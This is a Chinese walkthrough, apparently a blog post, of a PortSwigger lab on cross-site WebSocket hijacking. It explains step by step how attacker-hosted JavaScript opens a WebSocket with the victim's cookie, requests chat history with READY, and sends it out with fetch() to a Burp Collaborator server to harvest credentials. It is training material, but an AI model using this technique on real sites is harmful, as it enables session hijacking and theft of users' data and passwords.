在开始实战前向大家推荐一个比较好用的插件(这一关可以用到)
具体作用是实时更换session和查询
第一步:进入 Live chat,发送一条消息
Click "Live chat" and send a chat message.
为什么?
因为你需要先知道WebSocket到底是怎么通信的。
普通 HTTP:
浏览器 │ GET /login │ 服务器WebSocket:
浏览器 ======= WebSocket ======= 服务器Burp 只有在真正建立 WebSocket 后,才能看到所有发送的数据。
所以这里发送一句
hello不是为了攻击,而是为了:
让 Burp 抓到 WebSocket 流量。
第二步:刷新页面
Reload the page.
为什么刷新?
很多聊天程序都有这个逻辑:
第一次进入聊天 ↓ 建立WebSocket ↓ 向服务器说: READY意思就是:
"我已经连接好了,把以前聊天记录发给我。"
如果你不刷新,
Burp可能根本看不到
READY这个命令。
第三步:观察 READY
Observe that the READY command retrieves past chat messages.
Burp里会看到:
Client ↓ READY然后服务器:
Server ↓ {"message":"hello"} ↓ {"message":"welcome"} ↓ {"message":"password is ..."}这里其实是在分析协议。
你需要知道:
服务器到底接受什么命令。
否则后面不知道发什么。
所以这一步实际上是在回答:
"怎样才能让服务器把聊天记录发出来?"
答案:
READY第四步:找到 WebSocket Handshake
HTTP history → Handshake
很多初学者这里疑惑:
WebSocket不是WebSocket吗?
为什么去HTTP History?
因为:
WebSocket最开始就是HTTP。
例如:
GET /chat HTTP/1.1 Upgrade: websocket Connection: Upgrade Cookie=session=...服务器:
101 Switching Protocols以后才变成真正WebSocket。
所以:
Handshake一定在HTTP里面。
第五步:观察没有 CSRF Token
题目说:
Observe no CSRF token为什么要看?
因为:
如果有:
GET /chat csrf=abc123攻击者网站:
evil.com根本不知道:
abc123连接就建立不了。
所以:
没有CSRF
↓
攻击网站也能连。
第六步:复制 URL
https://lab/chat复制出来。
为什么?
因为JavaScript必须知道:
WebSocket连哪里。例如:
new WebSocket(...)里面必须填目标地址。
所以复制:
https://xxx/chat改成:
wss://xxx/chat因为:
HTTPS ↓ WebSocket ↓ WSS在代码中我们也能找到对应的url在后续的js中使用
第七步:去 Exploit Server
为什么不用自己电脑?
因为:
攻击必须来自
另外一个网站否则不是
Cross Site。
攻击流程应该是:
受害者 ↓ 访问 evil.com ↓ evil.com JS ↓ 连接 shop.comPortSwigger给你的Exploit Server就是:
evil.com攻击者页面(Attacker Page)就是攻击者自己控制的一个网页,上面放着恶意 JavaScript。
在PortSwigger的实验里,这个页面就是Exploit Server。
攻击者页面就是攻击者控制的网页。在这个实验中,它就是 PortSwigger 提供的 Exploit Server。受害者一旦访问这个页面,浏览器就会执行其中的恶意 JavaScript,这些脚本利用受害者浏览器中已有的登录状态(Cookie)去连接目标网站的 WebSocket,从而读取并窃取受害者的聊天记录。
第八步:写 JavaScript
var ws=new WebSocket(...);为什么?
因为攻击网站必须:
自己建立WebSocket。
注意:
这里不是偷已有连接。
而是:
攻击网站 ↓ 重新建立一条新的WebSocket很多人第一次都会误会。
实际上:
浏览器允许:
一个网页 建立 多个WebSocket。在刚才我们已经知道了url的网址 后续我们得用collaborator获取用户的聊天记录,所以需要我们去burp中新开一个collaborator并复制其url在后续的js中使用
Burp Collaborator 的作用是接收被窃取的数据(Out-of-Band 数据接收),它相当于攻击者控制的一台服务器。
第九步:为什么浏览器会自动带 Cookie?
这是整个漏洞核心。
JS:
new WebSocket(...)浏览器实际发送:
GET /chat Cookie=session=abc123Cookie:
自动发送。
不是JS自己加的。
所以:
服务器认为:
Cookie正确 ↓ 就是本人实际上:
Cookie是本人 但是 JS不是本人写的。所以发生:
身份混淆。
第十步:为什么发送 READY?
代码:
ws.send("READY");为什么?
因为:
连接建立以后,
服务器不会主动发聊天记录。
必须告诉服务器:
READY就像:
客户端: 我要聊天记录。服务器:
好的。如果不发:
READY服务器可能什么都不会返回。
所以:
这是为了:
主动触发数据返回。
第十一步:为什么 onmessage?
ws.onmessage=function(event){}作用:
监听服务器返回。
例如:
服务器:
{"message":"hello"}浏览器:
event.data就是:
{"message":"hello"}没有这个:
你收到的数据根本处理不了。
第十二步:为什么 fetch?
这是:
整个攻击最后一步。
服务器:
聊天记录现在已经到了:
event.data但是:
攻击者还不知道。
必须:
event.data ↓ 发送给攻击者服务器所以:
fetch( 'https://collaborator', { body:event.data } )就是:
偷到的数据 ↓ POST ↓ Burp Collaborator这一步叫:
Exfiltration(数据外传)
第十三步:为什么 View Exploit?
点击:
View Exploit其实:
就是你自己打开:
evil.com目的:
测试。
看看:
JS ↓ WebSocket ↓ READY ↓ fetch有没有问题。
如果:
Collaborator收到:
聊天记录说明:
攻击成功。
拿到聊天记录后就能登入账户了
第十四步:为什么 Deliver Exploit?
这是很多人最容易忽略的一步。
前面:
View Exploit攻击的是:
自己。
因为:
浏览器Cookie:
你的Cookie真正实验目标:
Victim所以:
Deliver以后:
Victim ↓ 打开evil.com ↓ JS运行 ↓ 自动带Victim Cookie ↓ READY ↓ 聊天记录 ↓ Collaborator这样:
偷到的才是:
Victim聊天记录。
第十五步:为什么聊天记录里会有密码?
实验故意设计:
管理员聊天:
username=carlos password=123456或者:
login: wiener password: peter攻击者:
Collaborator ↓ 收到JSON ↓ 看到账号密码于是:
登录:
Login ↓ 实验完成。整个实验的攻击链
把所有步骤串起来,其实就是下面这条完整的攻击流程:
① Burp 抓包 │ ▼ 分析 WebSocket 协议 │ ▼ 发现 READY 可以获取聊天记录 │ ▼ 找到 Handshake │ ▼ 发现没有 CSRF Token / Origin 校验 │ ▼ 编写恶意 JS │ ▼ new WebSocket() 建立连接 │ ▼ 浏览器自动携带 Victim 的 Session Cookie │ ▼ 发送 READY │ ▼ 服务器返回历史聊天记录 │ ▼ onmessage 接收数据 │ ▼ fetch() 将数据发送到 Burp Collaborator │ ▼ 攻击者获得 Victim 的聊天记录 │ ▼ 从聊天记录中提取用户名和密码 │ ▼ 登录 Victim 账户,实验完成